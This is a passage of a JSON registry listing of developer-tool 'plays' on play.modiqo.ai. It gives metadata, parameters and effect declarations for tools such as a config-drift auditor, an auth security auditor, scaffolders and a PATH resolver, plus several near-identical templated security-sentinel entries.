checked against what the documents introduce. The default true names each submodule path a plain clone would leave empty and reads a sample of lfs blobs to prove they really are pointer stubs, but stays silent when the docs already say --recursive or git lfs install; set false when you already know the checkout is complete."},{"name":"env_ambient","type":"string","required":false,"default":"NODE_ENV,PORT,CI,PATH,HOME","description":"Extra variable names treated as supplied by the host, so they are never reported as undocumented. The default repeats five the built-in list already covers, so the parameter documents its own shape; append your platform's injected names to keep them out of the blocker list."},{"name":"env_scope","type":"string","required":false,"default":"app","description":"Which reads of an environment variable can become blockers: app, or all. The default app counts only application code, because a fixture token read in tests/ or an artifact under docs/ is not a step a stranger takes to reach a working state; those are still counted and named, and reads in scripts/ or tools/ stay warnings. Use all to promote every read to a blocker."},{"name":"severity","type":"string","required":false,"default":"all","description":"Which findings reach the report: all, or critical. The default all keeps the warnings, because an empty submodule or an unintroduced tool is often what wastes the most time; use critical when you only want what hard-stops a stranger."},{"name":"keep_clone","type":"boolean","required":false,"default":"false","description":"Whether the temp clone survives the run. The default false deletes it, since it is a throwaway copy and nothing should accumulate in your temp directory; set true to open the clean tree yourself and see exactly what a stranger sees."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:dddad2bfa18b757dbc19aec2d02a966e2b8a545e440c004ab96ae5044a39905c","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":7,"kinds":{"api":0,"shell":7,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":4,"fan_out":0,"for_each_steps":0,"complexity":7,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":7}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/sonic-tools/config-drift-auditor@0.1.2","reference":"sonic-tools/config-drift-auditor@0.1.2","uri":"https://play.modiqo.ai/sonic-tools/config-drift-auditor@0.1.2","manifest_uri":"https://play.modiqo.ai/sonic-tools/config-drift-auditor@0.1.2","name":"config-drift-auditor","title":"config-drift-auditor","description":"Finds configuration drift the moment a fresh clone starts failing: which env vars your code reads that .env.example never documents, which documented ones nobody uses, and -- uniquely -- whether Dockerfile ENV and CI workflow env blocks agree with what .env.example promises. Also catches type drift, the same var parsed as a number in one place and a string in another. Point it at any repo: it reads .env.example, Dockerfile*, and CI workflow/yml, cross-checks them against actual usage in Python, TypeScript/JS, and shell, and reports graded findings (likely vs possible) with the fix for each. Offline, pure Python stdlib, no credentials, no yaml dependency. Never prints env values -- only names -- so it is safe on repos holding real secrets. Zero findings on a clean repo makes it a 2-second pre-commit / CI gate for config hygiene. Try: rote play run https://play.modiqo.ai/sonic-tools/config-drift-auditor target=/abs/path/to/repo","owner":{"kind":"org","slug":"sonic-tools"},"registry_organization":"sonic-tools","tags":["domain-dev-tools","config-drift","audience-developers","effect-read-only"],"primary_domain":"domain-dev-tools","author":"sonic","version":"0.1.2","published_at":"2026-09-03T22:04:44.44253+00:00","visibility":"public","quality_score":0.899999976158142,"size_bytes":7751,"license":null,"stats":{"downloads":7,"installs":0},"steps":{"count":1,"names":["audit"]},"parameters":[{"name":"target","type":"string","required":true,"default":"","description":"Path to the repository directory to audit (absolute paths are most reliable; relative paths resolve against the play runtime directory)","example":"/abs/path/to/repo"},{"name":"depth","type":"integer","required":false,"default":"8","description":"Maximum directory depth to recurse when scanning code files","example":"8"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:b59ccd10cef665c019a07dcd7a4df2d889eaf1217e4cdd0d4decee33d15f206a","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/harshitborana75/skill-rot-detector@0.0.3","reference":"harshitborana75/skill-rot-detector@0.0.3","uri":"https://play.modiqo.ai/harshitborana75/skill-rot-detector@0.0.3","manifest_uri":"https://play.modiqo.ai/harshitborana75/skill-rot-detector@0.0.3","name":"skill-rot-detector","title":"skill-rot-detector","description":"Agent Configuration Health System: Discover skills and rules across harnesses (Claude, Antigravity, Cursor, Codex, Windsurf), compute Skill Health Scores (0-100), detect duplicate/stale/conflicting rot, perform safe-removal analysis, and visualize context budgets.","owner":{"kind":"user","slug":"harshitborana75"},"registry_organization":"harshitborana75","tags":["typescript","skills","claude","agents","tokens","bloat","optimization","cursor","codex","health-score","rot-index"],"primary_domain":"domain-uncategorized","author":"harshitborana75","version":"0.0.3","published_at":"2026-09-02T18:18:20.264709+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":6096,"license":null,"stats":{"downloads":7,"installs":0},"steps":{"count":1,"names":["calc_init"]},"parameters":[{"name":"lookback_days","type":"string","required":false,"default":"60","description":"Invocation lookback window in days (default: 60)"},{"name":"dry_run","type":"string","required":false,"default":"true","description":"Safe remediation dry-run mode (true/false)"},{"name":"skills_dir","type":"string","required":false,"description":"Optional custom path to agent skills directory e.g. '~/.agents/skills'"},{"name":"skills_input","type":"string","required":false,"description":"JSON array of skill definitions e.g. '[{\"name\":\"docker-debugger\",\"harness\":\"agents\",\"path\":\"~/.agents/skills/docker-debugger/SKILL.md\",\"size\":6400,\"last_invoked\":\"2026-05-10\",\"calls_60d\":0,\"overlap_with\":\"container-debug\",\"overlap_pct\":71}]'"},{"name":"rules_input","type":"string","required":false,"description":"JSON array of CLAUDE.md/AGENTS.md/rules files e.g. '[{\"name\":\"CLAUDE.md\",\"harness\":\"Claude Code\",\"path\":\"/repo/CLAUDE.md\",\"lines\":285,\"size\":11400}]'"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:ed9db09be70828f638e0eea8f7369a484c0f13bd4dba09214dbb2029105ff4ae","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"echo","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/swapankumar/feature-scaffolding@3.4.0","reference":"swapankumar/feature-scaffolding@3.4.0","uri":"https://play.modiqo.ai/swapankumar/feature-scaffolding@3.4.0","manifest_uri":"https://play.modiqo.ai/swapankumar/feature-scaffolding@3.4.0","name":"feature-scaffolding","title":"feature-scaffolding","description":"Universal AI Pattern-Aware & Self-Healing Feature & API Scaffolder for Node.js, Go, Python, and Rust","owner":{"kind":"user","slug":"swapankumar"},"registry_organization":"swapankumar","tags":["playoffs","ai-agent","universal","pattern-matching","generator","express","go","python","self-healing"],"primary_domain":"domain-uncategorized","author":"swapankumar","version":"3.4.0","published_at":"2026-09-01T22:27:44.636889+00:00","visibility":"public","quality_score":0.450000047683716,"size_bytes":5750,"license":null,"stats":{"downloads":7,"installs":0},"steps":{"count":4,"names":["wire_entrypoint","discover_topology","verify_test_suite","synthesize_feature"]},"parameters":[{"name":"feature","type":"string","required":true,"description":"Name of the feature module (e.g. payment, review, cart, notification, order, product)"},{"name":"fields","type":"string","required":false,"description":"Field definitions in comma-separated field:type format (e.g. rating:number,comment:string,status:string)"},{"name":"target_dir","type":"string","required":false,"description":"Target directory path for scaffolding (defaults to current working directory)"},{"name":"overwrite","type":"boolean","required":false,"description":"Set to true to overwrite existing feature files instead of skipping safely"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:a6a604ce684ea4ef52065206d7458304b2216d51e82cacfded604463a60f5b59","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":4,"width":1,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"node","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/swapankumar/playoffs-scaffolding@3.4.0","reference":"swapankumar/playoffs-scaffolding@3.4.0","uri":"https://play.modiqo.ai/swapankumar/playoffs-scaffolding@3.4.0","manifest_uri":"https://play.modiqo.ai/swapankumar/playoffs-scaffolding@3.4.0","name":"playoffs-scaffolding","title":"playoffs-scaffolding","description":"Universal AI Pattern-Aware & Self-Healing Feature & API Scaffolder for Node.js, Go, Python, and Rust","owner":{"kind":"user","slug":"swapankumar"},"registry_organization":"swapankumar","tags":["playoffs","ai-agent","universal","pattern-matching","generator","express","go","python","self-healing"],"primary_domain":"domain-uncategorized","author":"swapankumar","version":"3.4.0","published_at":"2026-09-01T22:27:41.488717+00:00","visibility":"public","quality_score":0.450000047683716,"size_bytes":5755,"license":null,"stats":{"downloads":7,"installs":0},"steps":{"count":4,"names":["wire_entrypoint","discover_topology","verify_test_suite","synthesize_feature"]},"parameters":[{"name":"feature","type":"string","required":true,"description":"Name of the feature module (e.g. payment, review, cart, notification, order, product)"},{"name":"fields","type":"string","required":false,"description":"Field definitions in comma-separated field:type format (e.g. rating:number,comment:string,status:string)"},{"name":"target_dir","type":"string","required":false,"description":"Target directory path for scaffolding (defaults to current working directory)"},{"name":"overwrite","type":"boolean","required":false,"description":"Set to true to overwrite existing feature files instead of skipping safely"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:4b1e46192fea13cc417bd7890834944f405cedb5eeddc7bd42b9cd0f406d5797","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":4,"width":1,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"node","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/pathan-security/auth-security-audit@0.1.0","reference":"pathan-security/auth-security-audit@0.1.0","uri":"https://play.modiqo.ai/pathan-security/auth-security-audit@0.1.0","manifest_uri":"https://play.modiqo.ai/pathan-security/auth-security-audit@0.1.0","name":"auth-security-audit","title":"auth-security-audit","description":"Audits jsonwebtoken and bcryptjs usage across Express auth routes under a source directory: verifies password hashing (bcrypt salt rounds, compare usage, no plaintext storage) and JWT lifecycle (signing expiry, middleware verification, bearer extraction, 401 handling), then emits a security verification checklist plus prioritized recommendations. Process-only, read-only, needs python3.","owner":{"kind":"org","slug":"pathan-security"},"registry_organization":"pathan-security","tags":["security-audit","auth","jsonwebtoken","bcryptjs","password-hashing","jwt","effect-read-only"],"primary_domain":"domain-uncategorized","author":"pathan-security","version":"0.1.0","published_at":"2026-09-01T12:35:45.617884+00:00","visibility":"public","quality_score":0.650000035762787,"size_bytes":5915,"license":null,"stats":{"downloads":7,"installs":0},"steps":{"count":2,"names":["jwt_trace","bcrypt_trace"]},"parameters":[{"name":"src","type":"string","required":true,"description":"Absolute path to the backend source directory (e.g. backend/src) to audit"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:f62c4dde402741aab992090e92cf57b98f1237c0d166fda1866c5ffdf4d07100","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":2,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/pumpurlabs/my-linear-issues@0.0.1","reference":"pumpurlabs/my-linear-issues@0.0.1","uri":"https://play.modiqo.ai/pumpurlabs/my-linear-issues@0.0.1","manifest_uri":"https://play.modiqo.ai/pumpurlabs/my-linear-issues@0.0.1","name":"my-linear-issues","title":"my-linear-issues","description":"List Linear issues assigned to the current user (assignee=me)","owner":{"kind":"org","slug":"pumpurlabs"},"registry_organization":"pumpurlabs","tags":[],"primary_domain":"domain-uncategorized","author":"Roberts Pumpurs","version":"0.0.1","published_at":"2026-06-30T08:57:39.475124+00:00","visibility":"public","quality_score":null,"size_bytes":2904,"license":null,"stats":{"downloads":7,"installs":0},"steps":{"count":0,"names":[]},"parameters":[],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:2fcac1e333ca6e9ea9ce939565a55a82dc5f8d5d0a7b4b86122ec936a63186b9","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":0,"kinds":{"api":0,"shell":0,"browser":0,"auth":0,"other":0},"distinct_kinds":0,"depth":0,"width":0,"fan_out":0,"for_each_steps":0,"complexity":0,"apis":[],"tools":[],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":1,"tools":48},"cost":{"api_tokens":14065,"context_tokens":1536,"exploration_ms":2697,"saved_per_run":15601},"model":null,"sessions":true},"landscape":{"cluster":0,"label":"github"}},{"id":"https://play.modiqo.ai/sai0000/is-it-taken@0.1.3","reference":"sai0000/is-it-taken@0.1.3","uri":"https://play.modiqo.ai/sai0000/is-it-taken@0.1.3","manifest_uri":"https://play.modiqo.ai/sai0000/is-it-taken@0.1.3","name":"is-it-taken","title":"is-it-taken","description":"Answers the question worth asking before you write a line: has someone already published this. The public registry went from 242 plays to 411 in twenty-four hours, so nobody can hold it in their head, and rote play search answers one query at a time using the words you happened to choose. This fans your idea into a dozen queries drawn from its own content words, so a play that solves the same problem in different vocabulary still surfaces, then ranks what comes back by how close it actually is rather than by how popular it is. A play with forty downloads sharing one incidental word is not a collision; a play with three downloads whose name is your idea is. It returns one of four verdicts: already built, crowded, adjacent work exists, or nothing close found. That last one is deliberately not phrased as proof, because matching here is lexical and two people can describe the same idea in words that share nothing. A confident all clear from a word matcher would be the most damaging thing this could say, so the limit is printed every time, along with any query that failed, because a failed query is not an empty result. Read-only, and it reads nothing local.","owner":{"kind":"user","slug":"sai0000"},"registry_organization":"sai0000","tags":["domain-rote-plays","audience-play-authors","job-duplicate-check","registry","idea-validation","before-you-build","search","discovery","prior-art","hackathon","tool-shell","effect-read-only","audience-developers","domain-engineering","developer-tools","python","no-credentials","no-api-key"],"primary_domain":"domain-rote-plays","author":"sai0000","version":"0.1.3","published_at":"2026-09-06T14:06:02.275938+00:00","visibility":"public","quality_score":1,"size_bytes":16318,"license":"MIT","stats":{"downloads":6,"installs":0},"steps":{"count":3,"names":["assess_overlap","render_verdict","search_registry"]},"parameters":[{"name":"idea","type":"string","required":true,"description":"What you are about to build, in a sentence. Plain words work better than a name: describe the problem it solves, not what you would call it."},{"name":"format","type":"string","required":false,"default":"text","description":"text for the human verdict, json for a machine-readable one suitable for gating a build script.","values":["text","json"]}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:51763980a4ad5b59f8fcbeeaba23d22a8767764e3b7a5385dbf9fc025b0ff58c","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":1,"fan_out":0,"for_each_steps":0,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/sai0000/which-actually-runs@0.1.3","reference":"sai0000/which-actually-runs@0.1.3","uri":"https://play.modiqo.ai/sai0000/which-actually-runs@0.1.3","manifest_uri":"https://play.modiqo.ai/sai0000/which-actually-runs@0.1.3","name":"which-actually-runs","title":"which-actually-runs","description":"Answers one question on any Unix machine: when you type a command, which copy actually runs, and what did it beat. Four unrelated causes produce that same symptom and none of them announce themselves. A version manager puts a shim ahead of the system copy, which is correct until two of them fight or a shim points at a version you uninstalled. Homebrew installs to /opt/homebrew on Apple silicon and /usr/local on Intel while the system copy stays in /usr/bin, so the winner depends on a PATH order nobody set on purpose. Under WSL the Windows PATH is appended, so a command can run as a Windows program, or fail to resolve while its .exe sits on PATH. And an integration such as Docker Desktop drops symlinks that resolve only while it is running. This names the winning path for every watched command, what it beat, and which cause explains it, then reads your shell startup files to show which line put each directory on PATH, because knowing that nvm beats Homebrew does not tell you which file to edit. Read-only: it parses startup files as text without ever sourcing them, so a malformed rc file cannot execute anything, and a line assigning a secret-looking name is reported as present but never echoed.","owner":{"kind":"user","slug":"sai0000"},"registry_organization":"sai0000","tags":["shell","path","toolchain","diagnostics","version-manager","nvm","pyenv","homebrew","wsl","macos","developer-environment","tool-shell","domain-developer-workflow","effect-read-only","audience-developers","domain-engineering","developer-tools","python","no-credentials","no-api-key","offline","local-only","engineering-workflows"],"primary_domain":"domain-developer-workflow","author":"sai0000","version":"0.1.3","published_at":"2026-09-06T14:05:55.689349+00:00","visibility":"public","quality_score":1,"size_bytes":13996,"license":"MIT","stats":{"downloads":6,"installs":0},"steps":{"count":3,"names":["render_report","resolve_commands","read_shell_config"]},"parameters":[{"name":"commands","type":"string","required":false,"default":"","description":"Comma-separated extra command names to check, beyond the built-in list of thirty-odd common tools."},{"name":"path_override","type":"string","required":false,"default":"","description":"A PATH string to inspect instead of this shell's own. Paste the PATH from a login shell, an editor terminal or a CI runner to ask about that environment rather than this one."},{"name":"format","type":"string","required":false,"default":"text","description":"text for the human briefing, json for a machine-readable report.","values":["text","json"]}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:f02b26c9dbed274b6dc5ca027e371176832d6d45fee06776a8784b58315a6d02","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":2,"fan_out":0,"for_each_steps":0,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/ankurrawat/viper-pit-env-encryptor@4.15.26","reference":"ankurrawat/viper-pit-env-encryptor@4.15.26","uri":"https://play.modiqo.ai/ankurrawat/viper-pit-env-encryptor@4.15.26","manifest_uri":"https://play.modiqo.ai/ankurrawat/viper-pit-env-encryptor@4.15.26","name":"viper-pit-env-encryptor","title":"viper-pit-env-encryptor","description":"Security & Governance Sentinel for viper-pit-env-encryptor: Scans authorization tokens, inspects protocol payloads, checks CORS policies, and mitigates OWASP Top 10 vulnerabilities.","owner":{"kind":"user","slug":"ankurrawat"},"registry_organization":"ankurrawat","tags":["effect-write","viper","pit","env","encryptor"],"primary_domain":"domain-uncategorized","author":"ankurrawat","version":"4.15.26","published_at":"2026-09-06T13:52:46.641504+00:00","visibility":"public","quality_score":1,"size_bytes":514051,"license":null,"stats":{"downloads":6,"installs":0},"steps":{"count":8,"names":["step_api_ingress_probe","step_6_emit_security_advisory","step_4_evaluate_firewall_rules","step_parallel_fanout_execution","step_2_verify_vault_credentials","step_1_initialize_security_scanner","step_5_audit_compliance_benchmarks","step_3_execute_deep_vulnerability_scan"]},"parameters":[],"execution":{"adapters":[{"id":"samarthmm/slack","name":"slack","version":null,"credential_status":"none"},{"id":"slack","name":"slack","version":null,"credential_status":"none"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:89420bfaf9cd72ee9f5d1f41618f2ff8254be84c4ac9bd8b446a0cf70d6b891e","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":8,"kinds":{"api":1,"shell":7,"browser":0,"auth":0,"other":0},"distinct_kinds":2,"depth":2,"width":7,"fan_out":1,"for_each_steps":1,"complexity":16,"apis":[{"adapter":"slack","steps":1,"methods":["channels/list"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":"samarthmm/slack","version":"1.0.0","protocol":null,"credentials":[]}],"tools":[{"name":"node","kind":"tool","source":"declared","count":7}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/ankurrawat/tarnished-auth-warden@4.15.26","reference":"ankurrawat/tarnished-auth-warden@4.15.26","uri":"https://play.modiqo.ai/ankurrawat/tarnished-auth-warden@4.15.26","manifest_uri":"https://play.modiqo.ai/ankurrawat/tarnished-auth-warden@4.15.26","name":"tarnished-auth-warden","title":"tarnished-auth-warden","description":"Security & Governance Sentinel for tarnished-auth-warden: Scans authorization tokens, inspects protocol payloads, checks CORS policies, and mitigates OWASP Top 10 vulnerabilities.","owner":{"kind":"user","slug":"ankurrawat"},"registry_organization":"ankurrawat","tags":["effect-write","tarnished","auth","warden","developer-tools"],"primary_domain":"domain-uncategorized","author":"ankurrawat","version":"4.15.26","published_at":"2026-09-06T13:52:42.558383+00:00","visibility":"public","quality_score":1,"size_bytes":514265,"license":null,"stats":{"downloads":6,"installs":0},"steps":{"count":8,"names":["step_api_ingress_probe","step_6_emit_security_advisory","step_4_evaluate_firewall_rules","step_parallel_fanout_execution","step_2_verify_vault_credentials","step_1_initialize_security_scanner","step_5_audit_compliance_benchmarks","step_3_execute_deep_vulnerability_scan"]},"parameters":[],"execution":{"adapters":[{"id":"chetan/posthog-mcp","name":"posthog-mcp","version":null,"credential_status":"none"},{"id":"posthog-mcp","name":"posthog-mcp","version":null,"credential_status":"none"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:b613361be988f3a747103aa46829e7d9b4723d2acc979b383bf9eda2aa24e69e","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":8,"kinds":{"api":1,"shell":7,"browser":0,"auth":0,"other":0},"distinct_kinds":2,"depth":2,"width":7,"fan_out":1,"for_each_steps":1,"complexity":16,"apis":[{"adapter":"posthog-mcp","steps":1,"methods":["events/list"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":"chetan/posthog-mcp","version":"1.0.0","protocol":null,"credentials":[]}],"tools":[{"name":"node","kind":"tool","source":"declared","count":7}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/ankurrawat/site-retake-smoke-tester@4.15.26","reference":"ankurrawat/site-retake-smoke-tester@4.15.26","uri":"https://play.modiqo.ai/ankurrawat/site-retake-smoke-tester@4.15.26","manifest_uri":"https://play.modiqo.ai/ankurrawat/site-retake-smoke-tester@4.15.26","name":"site-retake-smoke-tester","title":"site-retake-smoke-tester","description":"Domain Analysis & Developer Utility for site-retake-smoke-tester: Inspects code patterns, computes metrics, and automates routine development workflows.","owner":{"kind":"user","slug":"ankurrawat"},"registry_organization":"ankurrawat","tags":["effect-write","site","retake","smoke","tester"],"primary_domain":"domain-uncategorized","author":"ankurrawat","version":"4.15.26","published_at":"2026-09-06T13:52:27.320291+00:00","visibility":"public","quality_score":1,"size_bytes":513911,"license":null,"stats":{"downloads":6,"installs":0},"steps":{"count":8,"names":["step_api_ingress_probe","step_1_scan_codebase_ast","step_4_detect_anti_patterns","step_3_compute_domain_metrics","step_parallel_fanout_execution","step_6_emit_developer_scorecard","step_5_aggregate_diagnostic_data","step_2_verify_code_style_and_lint"]},"parameters":[],"execution":{"adapters":[{"id":"modiqo/cloudflare","name":"cloudflare","version":null,"credential_status":"none"},{"id":"ipapi","name":"ipapi","version":null,"credential_status":"none"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:262377e0d90e94f7e0c965a8e58679d9cdb8ed1d382797eca80bad7965dea516","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":8,"kinds":{"api":1,"shell":7,"browser":0,"auth":0,"other":0},"distinct_kinds":2,"depth":2,"width":7,"fan_out":1,"for_each_steps":1,"complexity":16,"apis":[{"adapter":"ipapi","steps":1,"methods":["ip/lookup"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":null,"version":null,"protocol":null,"credentials":[]}],"tools":[{"name":"node","kind":"tool","source":"declared","count":7}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/ankurrawat/shinobi-dead-route-assassin@4.15.26","reference":"ankurrawat/shinobi-dead-route-assassin@4.15.26","uri":"https://play.modiqo.ai/ankurrawat/shinobi-dead-route-assassin@4.15.26","manifest_uri":"https://play.modiqo.ai/ankurrawat/shinobi-dead-route-assassin@4.15.26","name":"shinobi-dead-route-assassin","title":"shinobi-dead-route-assassin","description":"Domain Analysis & Developer Utility for shinobi-dead-route-assassin: Inspects code patterns, computes metrics, and automates routine development workflows.","owner":{"kind":"user","slug":"ankurrawat"},"registry_organization":"ankurrawat","tags":["effect-write","shinobi","dead","route","assassin"],"primary_domain":"domain-uncategorized","author":"ankurrawat","version":"4.15.26","published_at":"2026-09-06T13:52:23.830386+00:00","visibility":"public","quality_score":1,"size_bytes":513942,"license":null,"stats":{"downloads":6,"installs":0},"steps":{"count":8,"names":["step_api_ingress_probe","step_1_scan_codebase_ast","step_4_detect_anti_patterns","step_3_compute_domain_metrics","step_parallel_fanout_execution","step_6_emit_developer_scorecard","step_5_aggregate_diagnostic_data","step_2_verify_code_style_and_lint"]},"parameters":[],"execution":{"adapters":[{"id":"modiqo/stripe","name":"stripe","version":null,"credential_status":"none"},{"id":"notion-mcp","name":"notion-mcp","version":null,"credential_status":"none"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:3b1850966750dbe761d89d6835b8d1502788d73b6fbfc06584435599155c2e77","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":8,"kinds":{"api":1,"shell":7,"browser":0,"auth":0,"other":0},"distinct_kinds":2,"depth":2,"width":7,"fan_out":1,"for_each_steps":1,"complexity":16,"apis":[{"adapter":"notion-mcp","steps":1,"methods":["databases/query"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":null,"version":null,"protocol":null,"credentials":[]}],"tools":[{"name":"node","kind":"tool","source":"declared","count":7}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/ankurrawat/radiant-cors-sentinel@4.15.26","reference":"ankurrawat/radiant-cors-sentinel@4.15.26","uri":"https://play.modiqo.ai/ankurrawat/radiant-cors-sentinel@4.15.26","manifest_uri":"https://play.modiqo.ai/ankurrawat/radiant-cors-sentinel@4.15.26","name":"radiant-cors-sentin